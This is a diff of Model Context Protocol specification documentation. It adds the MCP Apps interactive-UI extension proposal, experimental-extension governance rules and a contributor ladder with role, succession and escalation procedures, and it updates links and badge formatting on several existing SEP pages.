-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1686 | -| **Title** | Tasks | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-10-20 | -| **Author(s)** | Surbhi Bansal, Luca Chang | -| **Sponsor** | None | -| **PR** | [#1686](https://github.com/modelcontextprotocol/specification/pull/1686) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1686 | +| **Title** | Tasks | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-10-20 | +| **Author(s)** | Surbhi Bansal, Luca Chang | +| **Sponsor** | None | +| **PR** | [#1686](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1686) | *** @@ -20375,25 +27282,30 @@ This hierarchical model would support sophisticated server-controlled workflows # SEP-1699: Support SSE polling via server-side disconnect -Source: https://modelcontextprotocol.io/community/seps/1699-support-sse-polling-via-server-side-disconnect +Source: https://modelcontextprotocol.io/seps/1699-support-sse-polling-via-server-side-disconnect Support SSE polling via server-side disconnect
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1699 | -| **Title** | Support SSE polling via server-side disconnect | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-10-22 | -| **Author(s)** | Jonathan Hefner ([@jonathanhefner](https://github.com/jonathanhefner)) | -| **Sponsor** | None | -| **PR** | [#1699](https://github.com/modelcontextprotocol/specification/pull/1699) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1699 | +| **Title** | Support SSE polling via server-side disconnect | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-10-22 | +| **Author(s)** | Jonathan Hefner ([@jonathanhefner](https://github.com/jonathanhefner)) | +| **Sponsor** | None | +| **PR** | [#1699](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1699) | *** @@ -20436,25 +27348,30 @@ This SEP supersedes (in part) [SEP-1335](https://github.com/modelcontextprotocol # SEP-1730: SDKs Tiering System -Source: https://modelcontextprotocol.io/community/seps/1730-sdks-tiering-system +Source: https://modelcontextprotocol.io/seps/1730-sdks-tiering-system SDKs Tiering System
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1730 | -| **Title** | SDKs Tiering System | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-10-29 | -| **Author(s)** | Inna Harper, Felix Weinberger | -| **Sponsor** | None | -| **PR** | [#1730](https://github.com/modelcontextprotocol/specification/pull/1730) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1730 | +| **Title** | SDKs Tiering System | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-10-29 | +| **Author(s)** | Inna Harper, Felix Weinberger | +| **Sponsor** | None | +| **PR** | [#1730](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1730) | *** @@ -20700,13 +27617,18 @@ Once each SDK has an Everything server, we will run the Conformance Test Client # SEP-1850: PR-Based SEP Workflow -Source: https://modelcontextprotocol.io/community/seps/1850-pr-based-sep-workflow +Source: https://modelcontextprotocol.io/seps/1850-pr-based-sep-workflow PR-Based SEP Workflow
- Final - Process + + Final + + + + Process +
| Field | Value | @@ -20719,7 +27641,7 @@ PR-Based SEP Workflow | **Accepted** | 2025-11-28, 8 Yes, 0 No, 0 Absent per vote in Discord. | | **Author(s)** | Nick Cooper ([@nickcoai](https://github.com/nickcoai)), David Soria Parra ([@davidsp](https://github.com/davidsp)) | | **Sponsor** | David Soria Parra ([@davidsp](https://github.com/davidsp)) | -| **PR** | [#1850](https://github.com/modelcontextprotocol/specification/pull/1850) | +| **PR** | [#1850](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1850) | *** @@ -20899,14 +27821,185 @@ No new security considerations beyond the standard code review process for pull This SEP was accepted unanimously by the MCP Core Maintainers with a vote of 8 yes's, 0 no's and 0 absent votes on Friday December 28th, 2025 in a Discord poll. +# SEP-1865: MCP Apps - Interactive User Interfaces for MCP +Source: https://modelcontextprotocol.io/seps/1865-mcp-apps-interactive-user-interfaces-for-mcp + +MCP Apps - Interactive User Interfaces for MCP + +
+ + Final + + + + Extensions Track + +
+ +| Field | Value | +| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **SEP** | 1865 | +| **Title** | MCP Apps - Interactive User Interfaces for MCP | +| **Status** | Final | +| **Type** | Extensions Track | +| **Created** | 2025-11-21 | +| **Author(s)** | Ido Salomon ([@idosal](https://github.com/idosal)), Liad Yosef ([@liadyosef](https://github.com/liadyosef)), Olivier Chafik ([@olivierchafik](https://github.com/olivierchafik)), | +| **Sponsor** | None (seeking sponsor) | +| **PR** | [#1865](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1865) | + +*** + +## Abstract + +This SEP proposes an extension to MCP (per SEP-1724) that enables servers to deliver interactive +user interfaces to hosts. MCP Apps introduces a standardized pattern for declaring UI resources via +the `ui://` URI scheme, associating them with tools through metadata, and facilitating +bi-directional communication between the UI and the host using MCP's JSON-RPC base protocol. This +extension addresses the growing community need for rich, interactive experiences in MCP-enabled +applications, maintaining security, auditability, and alignment with MCP's core architecture. The +initial specification focuses on HTML resources (`text/html;profile=mcp-app`) with a clear path for +future extensions. + +## Motivation + +MCP lacks a standardized way for servers to deliver rich, interactive user interfaces to hosts. +This gap blocks many use cases that require visual presentation and interactivity that go beyond +plain text or structured data. As more hosts adopt this capability, the risk of fragmentation and +interoperability challenges grows. + +[MCP-UI](https://mcpui.dev/) has demonstrated the viability and value of MCP apps built on UI +resources and serves as a community playground for the UI spec and SDK. Fueled by a dedicated +community, it developed the bi-directional communication model and the HTML, external URL, and +remote DOM content types. MCP-UI's adopters, including hosts and providers such as Postman, +HuggingFace, Shopify, Goose, and ElevenLabs, have provided critical insights and contributions to +the community. + +OpenAI's [Apps SDK](https://developers.openai.com/apps-sdk/), launched in November 2025, further +validated the demand for rich UI experiences within conversational AI interfaces. The Apps SDK +enables developers to build rich, interactive applications inside ChatGPT using MCP as its +backbone. + +The architecture of both the Apps SDK and MCP-UI has significantly informed the design of this +specification. + +However, without formal standardization: + +* Servers cannot reliably expect UI support via MCP +* Each host may implement slightly different behaviors +* Security and auditability patterns are inconsistent +* Developers must maintain separate implementations or adapters for different hosts (e.g., MCP-UI + vs. Apps SDK) + +This SEP addresses the current limitations through an optional, backwards-compatible extension that +unifies the approaches pioneered by MCP-UI and the Apps SDK into a single, open standard. + +## Specification + +The full specification can be found at +[modelcontextprotocol/ext-apps](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx). + +At a high level, MCP Apps extends the Model Context Protocol to enable servers to deliver +interactive user interfaces to hosts. This extension introduces: + +* **UI Resources:** Predeclared resources using the `ui://` URI scheme +* **Resource Discovery:** Tools reference UI resources via metadata +* **Bi-directional Communication:** UI iframes communicate with hosts using standard MCP JSON-RPC + protocol +* **Security Model:** Mandatory iframe sandboxing with auditable communication + +This specification focuses on HTML content (`text/html;profile=mcp-app`) as the initial content +type, with extensibility for future formats. + +As an extension, MCP Apps is optional and must be explicitly negotiated between clients and servers +through the extension capabilities mechanism (see Capability Negotiation section in the +[full specification](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx)). + +## Rationale + +### Predeclared resources vs. inline embedding + +UI is modeled as predeclared resources (`ui://`), referenced by tools via metadata. This allows: + +* Hosts to prefetch templates before tool execution, improving performance +* Separation of presentation (template) from data (tool results), facilitating caching +* Security review of UI resources + +**Alternatives considered:** + +* **Embedded resources:** Current MCP-UI approach, where resources are returned in tool results. + Although it's more convenient for server development, it was deferred due to the gaps in + performance optimization and the challenges in the UI review process. +* **Resource links:** Predeclare the resources but return links in tool results. Deferred due to + the gaps in performance optimization. + +### Reusing MCP JSON-RPC instead of a custom protocol + +Reuses existing MCP infrastructure (type definitions, SDKs, etc.). JSON-RPC offers advanced +capabilities (timeouts, errors, etc.). + +**Alternatives considered:** + +* **Custom message protocol:** Current MCP-UI approach with message types like tool, intent, + prompt, etc. These message types can be translated to a subset of the proposed JSON-RPC messages. +* **Global API object:** Rejected because it requires host-specific injection and doesn't work with + external iframe sources. Syntactic sugar may still be added on the server/UI side. + +### HTML-only MVP + +* HTML is universally supported and well-understood +* Simplest security model (standard iframe sandbox) +* Allows screenshot/preview generation (e.g., via html2canvas) +* Sufficient for most observed use cases +* Provides a clear baseline for future extensions + +**Alternatives considered:** + +* **Include external URLs in MVP:** This is one of the easiest content types for servers to adopt, + as it's possible to embed regular apps. However, it was deferred due to concerns around model + visibility, inability to screenshot content, and review process. It may effectively be supported + with the SEP's new `externalIframes` capability. + +## Backward Compatibility + +The proposal is an optional extension to the core protocol. Existing implementations continue +working without changes. + +## Security Implications + +Hosting interactive UI content from potentially untrusted MCP servers requires careful security +consideration. + +Based on the threat model, MCP Apps proposes the following mitigations: + +* **Iframe sandboxing**: All UI content runs in sandboxed iframes with restricted permissions +* **Predeclared templates**: Hosts can review HTML content before rendering +* **Auditable messages**: All UI-to-host communication goes through loggable JSON-RPC +* **User consent**: Hosts can require explicit approval for UI-initiated tool calls + +A full threat model analysis and mitigations are available in the +[full specification](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx). + +## Reference Implementation + +* [MCP-UI](https://github.com/idosal/mcp-ui) client and server SDKs support the patterns proposed + in this spec. +* [ext-apps](https://github.com/modelcontextprotocol/ext-apps) repository contains a prototype + implementation by Olivier Chafik. + + # SEP-2085: Governance Succession and Amendment Procedures -Source: https://modelcontextprotocol.io/community/seps/2085-governance-succession-and-amendment +Source: https://modelcontextprotocol.io/seps/2085-governance-succession-and-amendment Governance Succession and Amendment Procedures
- Final - Process + + Final + + + + Process +
| Field | Value | @@ -21003,13 +28096,18 @@ A draft pull request implementing these changes will be linked here once availab # SEP-2133: Extensions -Source: https://modelcontextprotocol.io/community/seps/2133-extensions +Source: https://modelcontextprotocol.io/seps/2133-extensions Extensions
- Final - Standards Track + + Final + + + + Standards Track +
| Field | Value | @@ -21029,7 +28127,7 @@ Extensions This SEP establishes a lightweight framework for extending the Model Context Protocol through optional, composable extensions. This proposal defines a governance model and presentation structure for extensions that allows the MCP ecosystem to evolve while maintaining core protocol stability. Extensions enable experimentation with new capabilities without forcing adoption across all implementations, providing clear extension points for the community to propose, review, and adopt enhanced functionality. -At this stage we are only defining official extensions, i.e. those maintained by MCP maintainers. Externally maintained extensions will likely come at a later stage once this initial SEP is approved. +This SEP defines both official extensions (maintained by MCP maintainers) and experimental extensions (an incubation pathway for Working Groups and Interest Groups to prototype and collaborate on extension ideas before formal acceptance). Externally maintained extensions will likely come at a later stage. ## Motivation @@ -21049,7 +28147,7 @@ Breaking changes MUST use a new identifier, e.g. `io.modelcontextprotocol/oauth- Extensions may have settings that are sent in client/server messages for fine-grained configuration. -For now, we only define *Official Extensions*. *Unofficial extensions* will not yet be recognized by MCP governance, but may be introduced and governed by developers and distributed in non official channels like GitHub. +This SEP defines *Official Extensions* and *Experimental Extensions*. Experimental extensions are maintained within the MCP organization as an incubation pathway but are not yet officially accepted. *Unofficial extensions* are not recognized by MCP governance and may be introduced and governed by developers outside the MCP organization. ### Official Extensions @@ -21067,17 +28165,34 @@ An *extension* is a versioned specification document within an extension reposit While day-to-day governance is delegated to extension repository maintainers, the core maintainers retain ultimate authority over official extensions, including the ability to modify, deprecate, or remove any extension. +### Experimental Extensions + +Experimental extensions provide an incubation pathway for Working Groups (WGs) and Interest Groups (IGs) to facilitate discovery, prototype ideas, and collaborate on extension concepts before formal SEP submission. Experimental extensions allow cross-company collaboration under neutral governance with clear anti-trust protection and IP clarity. + +An *experimental extension repository* is a repository within the official modelcontextprotocol github org with the `experimental-ext-` prefix, e.g. `https://github.com/modelcontextprotocol/experimental-ext-interceptors`. + +* Any maintainer MAY create an experimental extension repository while the associated SEP is still in draft state (or before a SEP has been submitted). +* Experimental extensions MUST be associated with a Working Group or Interest Group, whose maintainers are responsible for day-to-day governance of the repository. +* Experimental extension repositories MUST clearly indicate their experimental/non-official status (e.g., in the README) to avoid confusion with official extensions. +* Any published packages from experimental extensions MUST use naming that clearly indicates their experimental status. +* Core maintainers retain oversight of experimental extension repositories, including the ability to archive or remove them. + +To graduate an experimental extension to official status, the standard SEP process (Extensions Track) applies. The experimental repository and any reference implementations developed during incubation MAY be referenced in the SEP to demonstrate the extension's practicality. + ### Lifecycle #### Creation -Extensions are initially created via a SEP in the [main MCP repository](https://github.com/modelcontextprotocol/modelcontextprotocol/) using the [standard SEP guidelines](https://modelcontextprotocol.io/community/sep-guidelines) but with a new type: **Extensions Track**. This type follows the same review and acceptance process as Standards Track SEPs, but clearly indicates that the proposal is for an extension rather than a core protocol addition. The SEP must identify the Working Group and Extension Maintainers that will be responsible for the extension. See [SEP-2148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2148) for how maintainers are appointed. +Extensions MAY optionally begin as experimental extensions (see *Experimental Extensions* section) to facilitate prototyping and collaboration before formal submission. This incubation period is encouraged but not required. + +To become an official extension, extensions are created via a SEP in the [main MCP repository](https://github.com/modelcontextprotocol/modelcontextprotocol/) using the [standard SEP guidelines](https://modelcontextprotocol.io/community/sep-guidelines) but with a new type: **Extensions Track**. This type follows the same review and acceptance process as Standards Track SEPs, but clearly indicates that the proposal is for an extension rather than a core protocol addition. The SEP must identify the Working Group and Extension Maintainers that will be responsible for the extension. See [SEP-2148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2148) for how maintainers are appointed. Extension SEPs: * SHOULD be discussed and iterated on in a relevant working group prior to submission. * MUST have at least one reference implementation in an official SDK prior to review to ensure the extension is practical and implementable. -* Will be reviewed by the Core Maintainers, who have the final authority over its inclusion as an Offical Extension. +* MAY reference an existing experimental extension repository and implementations developed during incubation. +* Will be reviewed by the Core Maintainers, who have the final authority over its inclusion as an Official Extension. Once approved, the author SHOULD produce a PR that introduces the extension to the extension repository and reference in the main spec (see *Spec Recommendation* section). Approved extensions MAY be implemented in additional clients / servers / SDKs (see *SDK Implementation*). @@ -21205,3135 +28320,3493 @@ If one party supports an extension but the other does not, the supporting party #### Licensing -Official extensions MUST be available under the Apache 2.0 license. +Official extensions MUST be available under the Apache 2.0 license. + +#### Contributor License Grant + +By submitting a contribution to an official MCP extension repository, you represent that: + +1. You have the legal authority to grant the rights in this agreement +2. Your contribution is your original work, or you have sufficient rights to submit it +3. You grant to Linux Foundation and recipients of the specification a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license to: + * Reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute the contribution + * Make, have made, use, offer to sell, sell, import, and otherwise transfer implementations + +#### No Other Rights + +Except as explicitly set forth in this section, no other patent, trademark, copyright, or other intellectual property rights are granted under this agreement, including by implication, waiver, or estoppel. + +### Not Specified + +This SEP does not specify all aspects of an extension system. The following is an incomplete list of what this SEP does not address: + +* **Schema**: we do not specify a mechanism for extensions to advertise how they modify the schema. +* **Dependencies**: we do not specify if/how extensions may have dependencies on specific core protocol versions, or interdependencies with other extensions (or versions of extensions). +* **Profiles**: we do not specify a way of grouping extensions. + +These are omitted not because they are unimportant, but because they may be added later and the goal of this SEP is simply to get some initial extension structure off the ground and defers detailed technical discussion around more complex/debatable aspects of extensions. + +## Rationale + +This design for extensions uses the following principles: + +* **Start simple**: the intention is to have a relatively simple mechanism that allows people to start building and proposing extensions in a structured way. +* **Clear governance**: For now, the focus is on clear governance and less on implementation details. +* **Refine later**: Over time, once we have more experience with extensions, we can adjust the approach appropriately. + +Some specific design choices: + +* **Why extension repositories instead of individual/independent extensions?** Repositories provide a natural group and governance structure that allows for the repository maintainers to enforce structure and conformity to extensions. It avoids a failure case of different extensions in an area working in incompatible ways. Also provides a way to delegate much of the governance work. +* **Why not require core maintainer review for official extensions?** Delegated reviews allows for extensions to evolve autonomously without being bottlenecked on core maintainer review, which is already a (often months) long process. +* **Why separate versioning?** Extensions are additions to the spec and optional so there is no need to tie versions together. Separate versions allow for more rapid iteration. + +## Backward Compatibility + +The extension framework itself is purely additive to the core protocol, so there are no backwards compatibility concerns with the core specification. + +The design described in this SEP is consistent with existing official extensions ([ext-apps](https://github.com/modelcontextprotocol/ext-apps) and [ext-auth](https://github.com/modelcontextprotocol/ext-auth)), which already use the patterns specified here for capability negotiation and extension identifiers. + +However, individual extensions may have their own backwards compatibility concerns. Extensions MUST consider and account for backwards compatibility in their design, both across core protocol versions and extension versions. Breaking changes within an extension MUST use a new extension identifier (see *Definition* section). Extensions SHOULD also document their approach to backwards compatibility and stability (e.g. an extension MAY advertise itself as "experimental" indicating that it may break without notice). + +## Security Implications + +Extensions MUST implement all related security best practices in the area that they extend. + +Clients and servers SHOULD treat any new fields or data introduced as part of an extension as untrusted and SHOULD comprehensively validate them. + +## Reference Implementation + +To be provided. + + +# SEP-2148: MCP Contributor Ladder +Source: https://modelcontextprotocol.io/seps/2148-contributor-ladder + +MCP Contributor Ladder + +
+ + Final + + + + Process + +
+ +| Field | Value | +| ------------- | ---------------------------------------------------------------------------------------------------------------------------- | +| **SEP** | 2148 | +| **Title** | MCP Contributor Ladder | +| **Status** | Final | +| **Type** | Process | +| **Created** | 2026-01-15 | +| **Author(s)** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)), Sarah Novotny ([@sarahnovotny](https://github.com/sarahnovotny)) | +| **Sponsor** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)) | +| **PR** | [#2148](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2148) | + +*** + +## Abstract + +This SEP establishes a formal contributor ladder for the Model Context Protocol project, defining clear roles, responsibilities, and advancement criteria from first-time contributor through Core Maintainer. The ladder provides transparent pathways for community members to understand how they can grow their involvement and influence within the project. + +This SEP is a companion to [SEP-2149: MCP Group Governance and Charter Template](./2149-working-group-charter-template.md), which defines how Working Groups and Interest Groups operate. The two SEPs intersect: WG/IG leadership requires Member status on this ladder, and group participation is a recognized pathway to ladder advancement. + +## Motivation + +As MCP adoption grows, the project needs a clear framework for: + +1. **Contributor Development**: Community members lack visibility into how to grow their involvement and influence within the MCP project. A defined ladder shows the path from first contribution to project leadership. + +2. **Trust Building**: Merge rights and other high-privilege responsibilities are earned through demonstrated commitment and good judgment over time. A graduated system ensures contributors are set up for success and are trusted by existing maintainers and broader community before taking on greater ownership of the project. + +3. **Organizational Diversity**: With multiple organizations contributing to MCP, the project needs mechanisms to prevent organizational capture while welcoming participation from outside Anthropic. + +4. **Scalability**: Core Maintainer bandwidth is limited. Delegating authority to Maintainers and Working/Interest Group Leads through clear scope definitions enables the project to scale. + +5. **Recognition**: Contributors invest significant effort in MCP. Formal recognition through defined roles acknowledges their contributions and encourages sustained engagement. + +Without a contributor ladder, advancement decisions become ad-hoc, potentially inconsistent, and opaque to the community. + +## Specification + +### Guiding Principles + +The contributor ladder operates under these principles: + +* **Earned Trust**: Advancement based on demonstrated meaningful contributions that align with the project goals, good judgment, and sustained engagement, not tenure alone +* **Multiple Growth Pathways**: Code, specification work, documentation, and community building all lead to advancement +* **Transparency**: Criteria for advancement are explicit and consistently applied +* **Alignment With MCP Goals**: Individual contributors must demonstrate commitment to advance and evolve MCP project components beyond one's employer's interests + +### Role Definitions + +| Role | Summary | Key Privileges | Minimum Timeline | +| ------------------------------------------------ | --------------------------------------------- | ------------------------------------------------------------------------- | ----------------------------------------------------- | +| [**Contributor**](#contributor) | Anyone who contributes to MCP | Submit issues, PRs, participate in discussions | Immediate | +| [**Member**](#member) | Established, active contributor | GitHub org membership, triage rights, eligible for WG/IG leadership | 2-3 months of meaningful contributions | +| [**Maintainer**](#maintainer) | Area steward with operational responsibility | Merge rights, release participation | 6+ months as Member | +| [**Core Maintainer**](#core-maintainer) | Technical leadership and protocol stewardship | Final decision authority, governance participation | By invitation after sustained Maintainer contribution | +| [**Lead Maintainer**](#lead-maintainer) | Ultimate project authority (founders) | All Core Maintainer privileges, veto authority, appoints Core Maintainers | Reserved for project founders — succession only | +| [**Community Moderator**](#community-moderators) | CoC enforcement and community health | Moderation rights on community platforms, incident handling | Parallel track — Member status + appointment | + +*Timelines listed are minimum contribution periods, not guarantees of advancement. They exist to protect the project from rapid privilege escalation and to ensure a high bar of demonstrated commitment. Actual advancement is discretionary and may take longer in practice; the only guarantee is that advancement will not happen on a shorter timescale than documented. Exceptions require explicit Core Maintainer approval with documented rationale.* + +### Contributor + +Anyone who has contributed to MCP in any form is a contributor. This includes: + +* Opening issues or discussions +* Submitting pull requests +* Participating in working group discussions +* Improving documentation +* Helping other community members + +**No formal requirements**, we welcome all contributions. + +**How to get started:** + +* Review the [Contributing Guide](https://modelcontextprotocol.io/community/contributing) +* Join community channels (Discord, GitHub Discussions) +* Look for issues tagged `good-first-issue` or `help-wanted` +* Attend working group meetings + +### Member + +Members are established contributors who have demonstrated ongoing commitment to the success and growth of MCP. + +**Requirements:** + +* Multiple contributions to MCP (code, documentation, and/or community) +* At least one merged PR or accepted contribution +* Ongoing engagement with the MCP community and not just one-off contributions +* Enabled two-factor authentication on GitHub +* No objections from existing Members within 7 days + +**Sponsorship:** + +* Sponsored by two existing Members or Maintainers from different organizations +* or sponsored by one Core Maintainer or Lead Maintainer + +**Minimum timeline:** 2-3 months of active participation + +**Responsibilities:** + +* Continue contributing in good faith +* Be responsive to assigned issues and PRs +* Follow community guidelines and code of conduct +* Help onboard new contributors when possible + +**Privileges:** + +* GitHub organization membership with triage rights +* Can be assigned to issues and PRs +* Can use shortcut approval or review commands on PRs, such as `/lgtm` +* Listed in community membership roster +* Can create PRs in restricted repositories +* Eligible for Working Group Lead or Interest Group Facilitator roles + +**Inactivity:** Members with no contributions for 3 months may be moved to emeritus status. Re-engagement follows a simplified re-familiarization process. + +### Maintainer + +Maintainers are trusted stewards who take operational responsibility for specific areas. + +**Requirements:** + +* Member for at least 6 months with sustained, high-quality contributions +* Demonstrated leadership in working groups or significant initiatives +* Shown ability to represent MCP's interests above an individual employer's or organization's interests +* Deep understanding of the MCP vision, roadmap, and design principles +* Understands how their area impacts real-world AI integration and model interaction patterns +* Completed security and governance onboarding + +**Sponsorship & Approval:** + +* Sponsored by an existing Maintainer or Core Maintainer +* Approved by Core Maintainers + +**Responsibilities:** + +* Operational ownership of area health (test stability, documentation currency) +* Responsible for the release processes and milestone planning of their respective scope +* Provide timely review of escalated decisions +* Active participation in governance discussions +* Mentor Members and develop future Maintainers +* Represent MCP in external contexts when appropriate +* Engage with the area ecosystem and stakeholders, understanding real-world usage, and representing community needs +* Ensure proposals reaching Core Maintainers are refined, well-considered, and account for ecosystem-wide impact +* Active participation in discussions on communication channels (GitHub issues, Discord) + +**Privileges:** + +* Merge privileges for owned areas +* Can sponsor new Maintainers +* Participate in roadmap and prioritization discussions +* Listed in `MAINTAINERS.md` +* Release participation + +All pathways can lead to Maintainer, though the specific scope will align with the contribution type. + +**Inactivity:** Maintainers with no contributions for 6 months may be moved to emeritus status following review by Core Maintainers. Merge rights are revoked upon emeritus transition. Re-engagement requires re-completing security and governance onboarding. + +### Core Maintainer + +Core Maintainers hold final decision-making authority for the MCP technical direction. This is the highest level of trust in the community. + +*Note: The Core Maintainer role is intentionally limited to ensure coherent technical vision while the project scales. Core Maintainer bandwidth concerns are addressed through clearer delegation to Maintainers, Working Group Leads, and Interest Group Facilitators, not expansion of Core Maintainer numbers.* + +**Requirements:** + +* Sustained contribution as Maintainer or similar roles over at least 6 months +* Demonstrated judgment on complex, project-wide decisions +* Trust and respect across organizational boundaries +* Deep commitment to MCP's long-term success + +**Appointment:** + +* Nominated by majority of Core Maintainers, approved by Lead Maintainers +* Or direct appointment by Lead Maintainers + +When evaluating candidates, Core Maintainers should consider whether the current composition adequately represents the breadth of the MCP ecosystem, including enterprise adopters deploying MCP in production domains. + +**Responsibilities:** + +* Final technical decision authority for contested or cross-cutting issues +* Stewardship of project vision and design principles +* Governance and policy decisions +* External representation of MCP +* Succession planning and community health +* Ensure restraint and sustainability in protocol evolution +* Participation in Core Maintainer meetings and Core Maintainer meetups + +**Privileges:** + +* Final approval on breaking changes and major spec revisions +* Voting rights on [SEPs](https://modelcontextprotocol.io/community/sep-guidelines) (Specification Enhancement Proposals) +* Approval of Maintainers +* Governance voting rights / expectation of governance participation +* Administrative rights to all MCP GitHub repositories +* Listed in `MAINTAINERS.md` as Core Maintainer + +**Inactivity:** Core Maintainers with no participation in governance or technical decisions for 6 months may be moved to emeritus status following review by Lead Maintainers. Given the trust and visibility of this role, Core Maintainers are expected to proactively communicate reduced availability. + +### Lead Maintainer + +Lead Maintainers hold ultimate authority over MCP's direction and governance. This is a lifetime appointment reserved for project founders. There is no defined advancement path to this role; it is only assumed through succession when necessary (see [Succession](#succession)). + +**Responsibilities:** + +* All Core Maintainer responsibilities +* Appointment and removal of Core Maintainers +* Final authority on contested governance decisions +* Project-wide strategic direction + +**Privileges:** + +* Can act alone where Core Maintainers require multiple approvals +* Veto authority over any decision +* Appointment of successor + +### Succession + +If a Lead Maintainer leaves their role for any reason, the succession process begins upon their written notice or, if unable to provide notice, upon a determination by the remaining Lead Maintainer(s) or Core Maintainers that the Lead Maintainer is unable to continue serving. + +If one or more Lead Maintainer(s) remain, they shall appoint a successor (by majority vote if multiple), and the remaining Lead Maintainer(s) will continue to govern until a successor is appointed. + +If no Lead Maintainers remain, the Core Maintainers shall appoint a successor by majority vote within 30 days, and the project operates by two-thirds vote of Core Maintainers until a new Lead Maintainer is appointed. + +### Advancement Process + +#### Self-Nomination vs. Recognition -#### Contributor License Grant +Contributors may either: -By submitting a contribution to an official MCP extension repository, you represent that: +1. **Self-nominate** when they believe they meet the requirements +2. **Be nominated** by a sponsor who has observed their contributions -1. You have the legal authority to grant the rights in this agreement -2. Your contribution is your original work, or you have sufficient rights to submit it -3. You grant to Linux Foundation and recipients of the specification a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license to: - * Reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute the contribution - * Make, have made, use, offer to sell, sell, import, and otherwise transfer implementations +Both paths are equally valid. Self-nomination is encouraged and preferred, as it demonstrates initiative and self-awareness of the contribution scope. -#### No Other Rights +#### Process Steps -Except as explicitly set forth in this section, no other patent, trademark, copyright, or other intellectual property rights are granted under this agreement, including by implication, waiver, or estoppel. +1. **Nomination**: Nominee or sponsor opens an issue using the nomination template, including links to contributions demonstrating requirements and sponsor confirmations +2. **Community Review**: 7-day period for community input +3. **Decision**: Approving authority reviews and decides +4. **Onboarding**: New role-holder receives appropriate access and onboarding -### Not Specified +| Advancement To | Approved By | +| ------------------- | ------------------------------------------------------------------------------- | +| Member | 2 existing Members+ from different organizations, **or** 1 Core/Lead Maintainer | +| Maintainer | 1 Maintainer or Core Maintainer sponsor + Core Maintainer approval | +| Core Maintainer | Lead Maintainers | +| Community Moderator | 1 Core Maintainer or Lead Maintainer | -This SEP does not specify all aspects of an extension system. The following is an incomplete list of what this SEP does not address: +Self-nomination is encouraged, but nominees must still secure the required sponsorship. Sponsors confirm support in the nomination issue. -* **Schema**: we do not specify a mechanism for extensions to advertise how they modify the schema. -* **Dependencies**: we do not specify if/how extensions may have dependencies on specific core protocol versions, or interdependencies with other extensions (or versions of extensions). -* **Profiles**: we do not specify a way of grouping extensions. +### Decision-Making & Escalation -These are omitted not because they are unimportant, but because they may be added later and the goal of this SEP is simply to get some initial extension structure off the ground and defers detailed technical discussion around more complex/debatable aspects of extensions. +#### Delegation as Default -## Rationale +MCP operates on a principle of delegation: decisions should be made at the lowest appropriate level. This enables the project to move quickly while preserving Core Maintainer bandwidth for cross-cutting concerns. -This design for extensions uses the following principles: +* **Maintainers, WG Leads, and IG Facilitators** handle day-to-day decisions within scope +* **Core Maintainers** intervene on escalation, cross-cutting issues, or when required (spec changes, Maintainer approval) +* **Lead Maintainer** intervenes only on contested governance decisions or when Core Maintainers cannot reach consensus -* **Start simple**: the intention is to have a relatively simple mechanism that allows people to start building and proposing extensions in a structured way. -* **Clear governance**: For now, the focus is on clear governance and less on implementation details. -* **Refine later**: Over time, once we have more experience with extensions, we can adjust the approach appropriately. +When in doubt, make the decision at your level and document it. Escalate only when blocked, when the decision has project-wide implications, or when explicitly required by process. -Some specific design choices: +The detailed escalation procedure for Working Group and Interest Group disputes — including the designation of a Core Maintainer without shared organizational affiliation to resolve the issue — is defined in [SEP-2149 §1.5](./2149-working-group-charter-template.md). -* **Why extension repositories instead of individual/independent extensions?** Repositories provide a natural group and governance structure that allows for the repository maintainers to enforce structure and conformity to extensions. It avoids a failure case of different extensions in an area working in incompatible ways. Also provides a way to delegate much of the governance work. -* **Why not require core maintainer review for official extensions?** Delegated reviews allows for extensions to evolve autonomously without being bottlenecked on core maintainer review, which is already a (often months) long process. -* **Why separate versioning?** Extensions are additions to the spec and optional so there is no need to tie versions together. Separate versions allow for more rapid iteration. +#### Escalation Matrix -## Backward Compatibility +| Issue Type | First Escalation | Second Escalation | Timeline | +| ------------------------------------------ | ------------------- | ----------------- | ---------------- | +| Technical disagreement in PR | Maintainer in scope | Core Maintainer | 5 business days | +| Technical disagreement in WG | WG Lead | Core Maintainer | 5 business days | +| Technical disagreement in IG | IG Facilitator | Core Maintainer | 5 business days | +| Disagreement with WG Lead / IG Facilitator | Core Maintainer | Lead Maintainer | 7 business days | +| Disagreement with Maintainer decision | Core Maintainer | Lead Maintainer | 7 business days | +| Core Maintainer disagreement | Lead Maintainer | N/A | 10 business days | +| Code of Conduct violation | Community Moderator | Core Maintainer | Immediate | +| Security issue | Core Maintainer | Lead Maintainer | Immediate | -The extension framework itself is purely additive to the core protocol, so there are no backwards compatibility concerns with the core specification. +**Escalation process:** -The design described in this 